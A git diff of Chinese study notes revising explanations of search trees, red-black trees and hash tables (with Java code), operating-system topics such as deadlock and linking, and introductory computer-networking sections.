<div align="center"> <img src="../pics//fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//b488282d-bfe0-464f-9e91-1f5b83a975bd.jpg"/> </div><br>
|
||||
|
||||
```java
|
||||
public void delete(Key key) {
|
||||
@ -1140,7 +1181,7 @@ private Node delete(Node x, Key key) {
|
||||
|
||||
### 9. keys()
|
||||
|
||||
利用二叉查找树中序遍历的结果为有序序列的特点。
|
||||
利用二叉查找树中序遍历的结果为递增的特点。
|
||||
|
||||
```java
|
||||
public Iterable<Key> keys(Key lo, Key hi) {
|
||||
@ -1164,27 +1205,35 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
|
||||
|
||||
## 2-3 查找树
|
||||
|
||||
<div align="center"> <img src="../pics//2548f2ec-7b00-4ec7-b286-20fc3022e084.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
|
||||
|
||||
一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
|
||||
2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
|
||||
|
||||
### 1. 插入操作
|
||||
|
||||
当插入之后产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。
|
||||
插入操作和 BST 的插入操作有很大区别,BST 的插入操作是先进行一次未命中的查找,然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话,那么就会破坏了平衡性。它是将新节点插入到叶子节点上。
|
||||
|
||||
<div align="center"> <img src="../pics//912174d8-0786-4222-b7ef-a611d36e5db9.jpg"/> </div><br>
|
||||
根据叶子节点的类型不同,有不同的处理方式。
|
||||
|
||||
插入到 2- 节点上,那么直接将新节点和原来的节点组成 3- 节点即可。
|
||||
|
||||
<div align="center"> <img src="../pics//7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/> </div><br>
|
||||
|
||||
如果是插入到 3- 节点上,就会产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。
|
||||
|
||||
<div align="center"> <img src="../pics//ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/> </div><br>
|
||||
|
||||
### 2. 性质
|
||||
|
||||
2-3 查找树插入操作的变换都是局部的,除了相关的节点和链接之外不必修改或者检查树的其它部分,而这些局部变换不会影响树的全局有序性和平衡性。
|
||||
|
||||
2-3 查找树的查找和插入操作复杂度和插入顺序 **无关** ,在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个,含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
|
||||
2-3 查找树的查找和插入操作复杂度和插入顺序无关,在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个,含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
|
||||
|
||||
## 红黑二叉查找树
|
||||
|
||||
2-3 查找树需要用到 2- 节点和 3- 节点,红黑树使用红链接来实现 3- 节点。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。
|
||||
|
||||
<div align="center"> <img src="../pics//7080a928-06ba-4e10-9792-b8dd190dc8e2.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/> </div><br>
|
||||
|
||||
红黑树具有以下性质:
|
||||
|
||||
@ -1193,7 +1242,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
|
||||
|
||||
画红黑树时可以将红链接画平。
|
||||
|
||||
<div align="center"> <img src="../pics//62077f5d-a06d-4129-9b43-78715b82cb03.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/> </div><br>
|
||||
|
||||
```java
|
||||
public class RedBlackBST<Key extends Comparable<Key>, Value> {
|
||||
@ -1227,9 +1276,7 @@ public class RedBlackBST<Key extends Comparable<Key>, Value> {
|
||||
|
||||
因为合法的红链接都为左链接,如果出现右链接为红链接,那么就需要进行左旋转操作。
|
||||
|
||||
<div align="center"> <img src="../pics//33a4e822-2dd0-481e-ac89-7f6161034402.jpg"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//5e0cef33-4087-4f21-a428-16d5fddda671.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/> </div><br>
|
||||
|
||||
```java
|
||||
public Node rotateLeft(Node h) {
|
||||
@ -1248,9 +1295,7 @@ public Node rotateLeft(Node h) {
|
||||
|
||||
进行右旋转是为了转换两个连续的左红链接,这会在之后的插入过程中探讨。
|
||||
|
||||
<div align="center"> <img src="../pics//dfd078b2-aa4f-4c50-8319-232922d822b8.jpg"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//3f8d8c9d-a9a9-4d7a-813c-2de05ee5a97e.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/> </div><br>
|
||||
|
||||
```java
|
||||
public Node rotateRight(Node h) {
|
||||
@ -1268,9 +1313,7 @@ public Node rotateRight(Node h) {
|
||||
|
||||
一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外,同时需要将父节点的颜色由黑变红,从 2-3 树的角度看就是将中间节点移到上层节点。
|
||||
|
||||
<div align="center"> <img src="../pics//de7c5a31-55f5-4e9d-92ec-4ed5b2ec3828.jpg"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//e5ad625e-729d-4a8d-923a-7c3df5773e1c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/> </div><br>
|
||||
|
||||
```java
|
||||
void flipColors(Node h){
|
||||
@ -1285,10 +1328,10 @@ void flipColors(Node h){
|
||||
先将一个节点按二叉查找树的方法插入到正确位置,然后再进行如下颜色操作:
|
||||
|
||||
- 如果右子节点是红色的而左子节点是黑色的,进行左旋转;
|
||||
- 如果左子节点是红色的且它的左子节点也是红色的,进行右旋转;
|
||||
- 如果左子节点是红色的,而且左子节点的左子节点也是红色的,进行右旋转;
|
||||
- 如果左右子节点均为红色的,进行颜色转换。
|
||||
|
||||
<div align="center"> <img src="../pics//40639782-5df2-4e96-a4f3-f9dd664d0ca1.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/> </div><br>
|
||||
|
||||
```java
|
||||
public void put(Key key, Value val) {
|
||||
@ -1316,29 +1359,15 @@ private Node put(Node x, Key key, Value val) {
|
||||
|
||||
根节点一定为黑色,因为根节点没有上层节点,也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色,每当根节点由红色变成黑色时树的黑链接高度加 1.
|
||||
|
||||
### 5. 删除最小键
|
||||
### 5. 分析
|
||||
|
||||
如果最小键在一个 2- 节点中,那么删除该键会留下一个空链接,就破坏了平衡性,因此要确保最小键不在 2- 节点中。将 2- 节点转换成 3- 节点或者 4- 节点有两种方法,一种是向上层节点拿一个 key,一种是向兄弟节点拿一个 key。如果上层节点是 2- 节点,那么就没办法从上层节点拿 key 了,因此要保证删除路径上的所有节点都不是 2- 节点。在向下删除的过程中,保证以下情况之一发生:
|
||||
|
||||
1. 如果当前节点的左子节点不是 2- 节点,完成;
|
||||
2. 如果当前节点的左子节点是 2- 节点而它的兄弟节点不是 2- 节点,向兄弟节点拿一个 key 过来;
|
||||
3. 如果当前节点的左子节点和它的兄弟节点都是 2- 节点,将左子节点、父节点中的最小键和最近的兄弟节点合并为一个 4- 节点。
|
||||
|
||||
<div align="center"> <img src="../pics//b001fa64-307c-49af-b4b2-2043fc26154e.png"/> </div><br>
|
||||
|
||||
最后得到一个含有最小键的 3- 节点或者 4- 节点,直接从中删除。然后再从头分解所有临时的 4- 节点。
|
||||
|
||||
<div align="center"> <img src="../pics//70b66757-755c-4e17-a7b7-5ce808023643.png"/> </div><br>
|
||||
|
||||
### 6. 分析
|
||||
|
||||
一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树中构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
|
||||
一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树,构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
|
||||
|
||||
红黑树大多数的操作所需要的时间都是对数级别的。
|
||||
|
||||
## 散列表
|
||||
|
||||
散列表类似于数组,可以把散列表的散列值看成数组的索引值。访问散列表和访问数组元素一样快速,它可以在常数时间内实现查找和插入的符号表。
|
||||
散列表类似于数组,可以把散列表的散列值看成数组的索引值。访问散列表和访问数组元素一样快速,它可以在常数时间内实现查找和插入操作。
|
||||
|
||||
由于无法通过散列值知道键的大小关系,因此散列表无法实现有序性操作。
|
||||
|
||||
@ -1368,13 +1397,13 @@ for(int i = 0; i < s.length(); i++)
|
||||
hash = (R * hash + s.charAt(i)) % M;
|
||||
```
|
||||
|
||||
再比如,拥有多个成员的自定义类的哈希函数如下
|
||||
再比如,拥有多个成员的自定义类的哈希函数如下:
|
||||
|
||||
```java
|
||||
int hash = (((day * R + month) % M) * R + year) % M;
|
||||
```
|
||||
|
||||
R 的值不是很重要,通常取 31。
|
||||
R 通常取 31。
|
||||
|
||||
Java 中的 hashCode() 实现了 hash 函数,但是默认使用对象的内存地址值。在使用 hashCode() 函数时,应当结合除留余数法来使用。因为内存地址是 32 位整数,我们只需要 31 位的非负整数,因此应当屏蔽符号位之后再使用除留余数法。
|
||||
|
||||
@ -1404,7 +1433,7 @@ public class Transaction{
|
||||
|
||||
拉链法使用链表来存储 hash 值相同的键,从而解决冲突。此时查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。
|
||||
|
||||
<div align="center"> <img src="../pics//540133af-aaaf-4208-8f7f-33cb89ac9621.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/> </div><br>
|
||||
|
||||
对于 N 个键,M 条链表 (N>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M,因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
|
||||
|
||||
@ -1412,7 +1441,7 @@ public class Transaction{
|
||||
|
||||
线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线程探测法,数组的大小 M 应当大于键的个数 N(M>N)。
|
||||
|
||||
<div align="center"> <img src="../pics//2b3410f1-9559-4dd1-bc3d-e3e572247be2.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
|
||||
|
||||
```java
|
||||
public class LinearProbingHashST<Key, Value> {
|
||||
@ -1441,7 +1470,7 @@ public class LinearProbingHashST<Key, Value> {
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.1 查找
|
||||
**(一)查找**
|
||||
|
||||
```java
|
||||
public Value get(Key key) {
|
||||
@ -1454,7 +1483,7 @@ public Value get(Key key) {
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.2 插入
|
||||
**(二)插入**
|
||||
|
||||
```java
|
||||
public void put(Key key, Value val) {
|
||||
@ -1472,9 +1501,9 @@ public void put(Key key, Value val) {
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.3 删除
|
||||
**(三)删除**
|
||||
|
||||
删除操作应当将右侧所有相邻的键值重新插入散列表中。
|
||||
删除操作应当将右侧所有相邻的键值对重新插入散列表中。
|
||||
|
||||
```java
|
||||
public void delete(Key key) {
|
||||
@ -1500,14 +1529,14 @@ public void delete(Key key) {
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.4 调整数组大小
|
||||
**(四)调整数组大小**
|
||||
|
||||
线性探测法的成本取决于连续条目的长度,连续条目也叫聚簇。当聚簇很长时,在查找和插入时也需要进行很多次探测。
|
||||
线性探测法的成本取决于连续条目的长度,连续条目也叫聚簇。当聚簇很长时,在查找和插入时也需要进行很多次探测。例如下图中 2\~5 位置就是一个聚簇。
|
||||
|
||||
<div align="center"> <img src="../pics//386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/> </div><br>
|
||||
|
||||
α = N/M,把 α 称为利用率。理论证明,当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。
|
||||
|
||||
<div align="center"> <img src="../pics//0ddebc5c-7c24-46b1-98db-4fa5e54db16b.png"/> </div><br>
|
||||
|
||||
为了保证散列表的性能,应当调整数组的大小,使得 α 在 [1/4, 1/2] 之间。
|
||||
|
||||
```java
|
||||
@ -1529,21 +1558,24 @@ private void resize(int cap) {
|
||||
}
|
||||
```
|
||||
|
||||
虽然每次重新调整数组都需要重新把每个键值对插入到散列表,但是从摊还分析的角度来看,所需要的代价却是很小的。从下图可以看出,每次数组长度加倍后,累计平均值都会增加 1,因为表中每个键都需要重新计算散列值,但是随后平均值会下降。
|
||||
|
||||
<div align="center"> <img src="../pics//01658047-0d86-4a7a-a8ca-7ea20fa1fdde.png"/> </div><br>
|
||||
|
||||
## 应用
|
||||
|
||||
### 1. 各种符号表实现的比较
|
||||
|
||||
<div align="center"> <img src="../pics//9ee83c8c-1165-476c-85a6-e6e434e5307a.jpg"/> </div><br>
|
||||
| 算法 | 插入 | 查找 | 是否有序 |
|
||||
| :---: | :---: | :---: | :---: |
|
||||
| 二分查找实现的有序表 | N | logN | yes |
|
||||
| 二叉查找树 | logN | logN | yes |
|
||||
| 2-3 查找树 | logN | logN | yes |
|
||||
| 拉链法实现的散列表 | N/M | N/M | no |
|
||||
| 线性探测法试下的散列表 | 1 | 1 | no |
|
||||
|
||||
应当优先考虑散列表,当需要有序性操作时使用红黑树。
|
||||
|
||||
### 2. Java 的符号表实现
|
||||
|
||||
Java 的 java.util.TreeMap 和 java.util.HashMap 分别是基于红黑树和拉链法的散列表的符号表实现。
|
||||
- java.util.TreeMap:红黑树
|
||||
- java.util.HashMap:拉链法的散列表
|
||||
|
||||
### 3. 集合类型
|
||||
|
||||
@ -1554,8 +1586,6 @@ Java 的 java.util.TreeMap 和 java.util.HashMap 分别是基于红黑树和拉
|
||||
当向量为稀疏向量时,可以使用符号表来存储向量中的非 0 索引和值,使得乘法运算只需要对那些非 0 元素进行即可。
|
||||
|
||||
```java
|
||||
import java.util.HashMap;
|
||||
|
||||
public class SparseVector {
|
||||
private HashMap<Integer, Double> hashMap;
|
||||
|
||||
@ -1581,3 +1611,8 @@ public class SparseVector {
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
|
||||
|
||||
|
@ -106,7 +106,7 @@ Linux 的系统调用主要有以下这些:
|
||||
|
||||
### 2. 微内核
|
||||
|
||||
由于操作系统不断复杂,为了实现因此将一部分操作系统功能移出内核,从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务,相互独立。
|
||||
由于操作系统不断复杂,因此将一部分操作系统功能移出内核,从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务,相互独立。
|
||||
|
||||
在微内核结构下,操作系统被划分成小的、定义良好的模块,只有微内核这一个模块运行在内核态,其余模块运行在用户态。
|
||||
|
||||
@ -434,7 +434,7 @@ void writer() {
|
||||
|
||||
<div align="center"> <img src="../pics//a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
|
||||
|
||||
五个哲学家围着一张圆桌,每个哲学家面前放着食物。哲学家的生活有两种交替活动:吃饭以及思考。当一个哲学家吃饭时,需要先拿起筷子左右的两根筷子,并且一次只能拿起一根筷子。
|
||||
五个哲学家围着一张圆桌,每个哲学家面前放着食物。哲学家的生活有两种交替活动:吃饭以及思考。当一个哲学家吃饭时,需要先拿起自己左右两边的两根筷子,并且一次只能拿起一根筷子。
|
||||
|
||||
下面是一种错误的解法,考虑到如果所有哲学家同时拿起左手边的筷子,那么就无法拿起右手边的筷子,造成死锁。
|
||||
|
||||
@ -455,7 +455,7 @@ void philosopher(int i) {
|
||||
|
||||
为了防止死锁的发生,可以设置两个条件:
|
||||
|
||||
1. 必须同时拿起左右两个筷子;
|
||||
1. 必须同时拿起左右两根筷子;
|
||||
2. 只有在两个邻居都没有进餐的情况下才允许进餐。
|
||||
|
||||
```c
|
||||
@ -564,7 +564,7 @@ Linux 中管道通过空文件实现。
|
||||
|
||||
1. 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
|
||||
2. 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
|
||||
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显示地释放。
|
||||
3. 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显式地释放。
|
||||
4. 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
|
||||
|
||||
## 死锁的处理方法
|
||||
@ -858,7 +858,7 @@ gcc -o hello hello.c
|
||||
|
||||
静态连接器以一组可重定向目标文件为输入,生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务:
|
||||
|
||||
1. 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用于一个符号定义关联起来。
|
||||
1. 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用与一个符号定义关联起来。
|
||||
2. 重定位:编译器和汇编器生成从地址 0 开始的代码和数据节,链接器通过把每个符号定义与一个内存位置关联起来,从而重定位这些节,然后修改所有对这些符号的引用,使得它们指向这个内存位置。
|
||||
|
||||
<div align="center"> <img src="../pics//47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>
|
||||
|
345
notes/计算机网络.md
@ -2,26 +2,26 @@
|
||||
* [一、概述](#一概述)
|
||||
* [网络的网络](#网络的网络)
|
||||
* [ISP](#isp)
|
||||
* [互联网的组成](#互联网的组成)
|
||||
* [主机之间的通信方式](#主机之间的通信方式)
|
||||
* [电路交换与分组交换](#电路交换与分组交换)
|
||||
* [时延](#时延)
|
||||
* [计算机网络体系结构 *](#计算机网络体系结构-)
|
||||
* [计算机网络体系结构*](#计算机网络体系结构)
|
||||
* [二、物理层](#二物理层)
|
||||
* [通信方式](#通信方式)
|
||||
* [带通调制](#带通调制)
|
||||
* [信道复用技术](#信道复用技术)
|
||||
* [三、数据链路层](#三数据链路层)
|
||||
* [信道分类](#信道分类)
|
||||
* [三个基本问题](#三个基本问题)
|
||||
* [点对点信道 - PPP 协议](#点对点信道---ppp-协议)
|
||||
* [局域网的拓扑](#局域网的拓扑)
|
||||
* [广播信道- CSMA/CD 协议 *](#广播信道--csmacd-协议-)
|
||||
* [扩展局域网 *](#扩展局域网-)
|
||||
* [MAC 层 *](#mac-层-)
|
||||
* [四、网络层 *](#四网络层-)
|
||||
* [局域网](#局域网)
|
||||
* [PPP 协议](#ppp-协议)
|
||||
* [CSMA/CD 协议*](#csmacd-协议)
|
||||
* [扩展局域网*](#扩展局域网)
|
||||
* [MAC 层*](#mac-层)
|
||||
* [四、网络层*](#四网络层)
|
||||
* [网际协议 IP 概述](#网际协议-ip-概述)
|
||||
* [IP 数据报格式](#ip-数据报格式)
|
||||
* [IP 地址编址](#ip-地址编址)
|
||||
* [IP 地址编址方式](#ip-地址编址方式)
|
||||
* [IP 地址和 MAC 地址](#ip-地址和-mac-地址)
|
||||
* [地址解析协议 ARP](#地址解析协议-arp)
|
||||
* [路由器的结构](#路由器的结构)
|
||||
@ -29,10 +29,10 @@
|
||||
* [路由选择协议](#路由选择协议)
|
||||
* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
|
||||
* [分组网间探测 PING](#分组网间探测-ping)
|
||||
* [IP 多播](#ip-多播)
|
||||
* [Traceroute](#traceroute)
|
||||
* [虚拟专用网 VPN](#虚拟专用网-vpn)
|
||||
* [网络地址转换 NAT](#网络地址转换-nat)
|
||||
* [五、运输层 *](#五运输层-)
|
||||
* [五、运输层*](#五运输层)
|
||||
* [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
|
||||
* [UDP 首部格式](#udp-首部格式)
|
||||
* [TCP 首部格式](#tcp-首部格式)
|
||||
@ -42,11 +42,10 @@
|
||||
* [TCP 可靠传输](#tcp-可靠传输)
|
||||
* [TCP 流量控制](#tcp-流量控制)
|
||||
* [TCP 拥塞控制](#tcp-拥塞控制)
|
||||
* [六、应用层 *](#六应用层-)
|
||||
* [六、应用层*](#六应用层)
|
||||
* [域名系统 DNS](#域名系统-dns)
|
||||
* [文件传输协议 FTP](#文件传输协议-ftp)
|
||||
* [远程终端协议 TELNET](#远程终端协议-telnet)
|
||||
* [万维网 WWW](#万维网-www)
|
||||
* [电子邮件协议](#电子邮件协议)
|
||||
* [动态主机配置协议 DHCP](#动态主机配置协议-dhcp)
|
||||
* [点对点传输 P2P](#点对点传输-p2p)
|
||||
@ -62,25 +61,20 @@
|
||||
|
||||
网络把主机连接起来,而互联网是把多种不同的网络连接起来,因此互联网是网络的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//f1fb826b-ecf4-4ddb-91f0-2bafecf08869.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//network-of-networks.gif"/> </div><br>
|
||||
|
||||
## ISP
|
||||
|
||||
互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址,同时拥有通信线路以及路由器等联网设备,个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
|
||||
|
||||
<div align="center"> <img src="../pics//46cec213-3048-4a80-aded-fdd577542801.jpg"/> </div><br>
|
||||
|
||||
目前的互联网是一种多层次 ISP 结构,ISP 根据覆盖面积的大小分为主干 ISP、地区 ISP 和本地 ISP。
|
||||
|
||||
互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
|
||||
|
||||
<div align="center"> <img src="../pics//0f8c0a60-d4c6-47f4-978d-1a5c393fedac.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//Technology-ComputerNetworking-Internet-ISPs.png"/> </div><br>
|
||||
|
||||
## 互联网的组成
|
||||
|
||||
1. 边缘部分:所有连接在互联网上的主机,用户可以直接使用;
|
||||
|
||||
2. 核心部分:由大量的网络和连接这些网络的路由器组成,为边缘部分的主机提供服务。
|
||||
|
||||
<div align="center"> <img src="../pics//8ab40d6d-bd7c-47d3-afe8-6a8bc9f5d04c.jpg"/> </div><br>
|
||||
|
||||
## 主机之间的通信方式
|
||||
|
||||
@ -88,9 +82,13 @@
|
||||
|
||||
2. 对等(P2P):不区分客户和服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//2ad244f5-939c-49fa-9385-69bc688677ab.jpg"/> </div><br>
|
||||
|
||||
## 电路交换与分组交换
|
||||
|
||||
<div align="center"> <img src="../pics//c50d230c-8b89-4644-8f62-8708d03aac5b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//eebdeb57-8efb-4848-9bb6-97512990897c.jpg"/> </div><br>
|
||||
|
||||
(以上分别为:电路交换、报文交换以及分组交换)
|
||||
|
||||
### 1. 电路交换
|
||||
|
||||
@ -104,9 +102,7 @@
|
||||
|
||||
分组交换也使用了存储转发,但是转发的是分组而不是报文。把整块数据称为一个报文,由于一个报文可能很长,需要先进行切分,来满足分组能处理的大小。在每个切分的数据前面加上首部之后就成为了分组,首部包含了目的地址和源地址等控制信息。
|
||||
|
||||
<div align="center"> <img src="../pics//2366c2ad-5859-4d4e-805f-7e2b88061cd8.jpg"/> </div><br>
|
||||
|
||||
存储转发允许在一条传输线路上传送多个主机的分组,因此两个用户之间的通信不需要占用端到端的线路资源。
|
||||
存储转发允许在一条传输线路上传送多个主机的分组,也就是说两个用户之间的通信不需要占用端到端的线路资源。
|
||||
|
||||
相比于报文交换,由于分组比报文更小,因此分组交换的存储转发速度更加快速。
|
||||
|
||||
@ -114,7 +110,7 @@
|
||||
|
||||
总时延 = 发送时延 + 传播时延 + 处理时延 + 排队时延
|
||||
|
||||
<div align="center"> <img src="../pics//ceee91c2-da26-4169-94c3-e4608b46b9ac.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//3939369b-3a4a-48a0-b9eb-3efae26dd400.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 发送时延
|
||||
|
||||
@ -134,15 +130,15 @@
|
||||
|
||||
### 3. 处理时延
|
||||
|
||||
主机或路由器收到分组时进行处理所需要的时间,例如分析首部,从分组中提取数据部分等。
|
||||
主机或路由器收到分组时进行处理所需要的时间,例如分析首部、从分组中提取数据部、进行差错检验或查找适当的路由等。
|
||||
|
||||
### 4. 排队时延
|
||||
|
||||
分组在路由器的输入队列和输出队列中排队等待的时间,取决于网络当前的通信量。
|
||||
|
||||
## 计算机网络体系结构 *
|
||||
## 计算机网络体系结构*
|
||||
|
||||
<div align="center"> <img src="../pics//1005dc9d-9049-4b06-9524-6171e56ebd8c.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//426df589-6f97-4622-b74d-4a81fcb1da8e.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 七层协议
|
||||
|
||||
@ -157,9 +153,9 @@
|
||||
|
||||
2. 运输层:提供的是进程间的通用数据传输服务。由于应用层协议很多,定义通用的运输层协议就可以支持不断增多的应用层协议。运输层包括两种协议:传输控制协议 TCP,提供面向连接、可靠的数据传输服务,数据单位为报文段;用户数据报协议 UDP,提供无连接、尽最大努力的数据传输服务,数据单位为用户数据报。TCP 主要提供完整性服务,UDP 主要提供及时性服务。
|
||||
|
||||
3. 网络层:为主机之间提供数据传输服务,而像运输层协议那样是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
|
||||
3. 网络层:为主机之间提供数据传输服务,而运输层协议是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
|
||||
|
||||
4. 数据链路层:网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为相邻结点之间提供服务。数据链路层把网络层传来的分组封装成帧。
|
||||
4. 数据链路层:网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为同一链路的结点提供服务。数据链路层把网络层传来的分组封装成帧。
|
||||
|
||||
5. 物理层:考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使数据链路层感觉不到这些差异。
|
||||
|
||||
@ -169,7 +165,7 @@
|
||||
|
||||
路由器只有下面三层协议,因为路由器位于网络核心中,不需要为进程或者应用程序提供服务,因此也就不需要运输层和应用层。
|
||||
|
||||
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
|
||||
|
||||
### 4. TCP/IP 体系结构
|
||||
|
||||
@ -177,11 +173,11 @@
|
||||
|
||||
现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者网络接口层。
|
||||
|
||||
<div align="center"> <img src="../pics//37b74a34-251c-45f8-88a4-614ec953f7e9.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
|
||||
|
||||
TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中占用举足轻重的地位。
|
||||
|
||||
<div align="center"> <img src="../pics//93cbce0c-c37d-429c-815b-861976a46bd8.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
|
||||
|
||||
# 二、物理层
|
||||
|
||||
@ -195,7 +191,7 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
模拟信号是连续的信号,数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
|
||||
|
||||
<div align="center"> <img src="../pics//d2c55c84-aa1f-43c1-bd97-457bcb7816b3.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b68b142-9489-44f6-87b0-4cb5c6431e63.jpg" width="600"/> </div><br>
|
||||
|
||||
## 信道复用技术
|
||||
|
||||
@ -203,21 +199,21 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
频分复用的所有用户在相同的时间占用不同的频率带宽资源;时分复用的所有用户在不同的时间占用相同的频率带宽资源。
|
||||
|
||||
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
|
||||
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,通信过程没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
|
||||
|
||||
<div align="center"> <img src="../pics//543d47a1-f0dd-414f-b23c-0c142c814854.png" width="500"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f3bfe11f-9cba-4ff2-8cc6-629068408a80.jpg" width="600"/> </div><br>
|
||||
|
||||
### 2. 统计时分复用
|
||||
|
||||
是对时分复用的一种改进,不固定每个用户在时分复用帧中的位置,只要有数据就集中起来组成统计时分复用帧然后发送。
|
||||
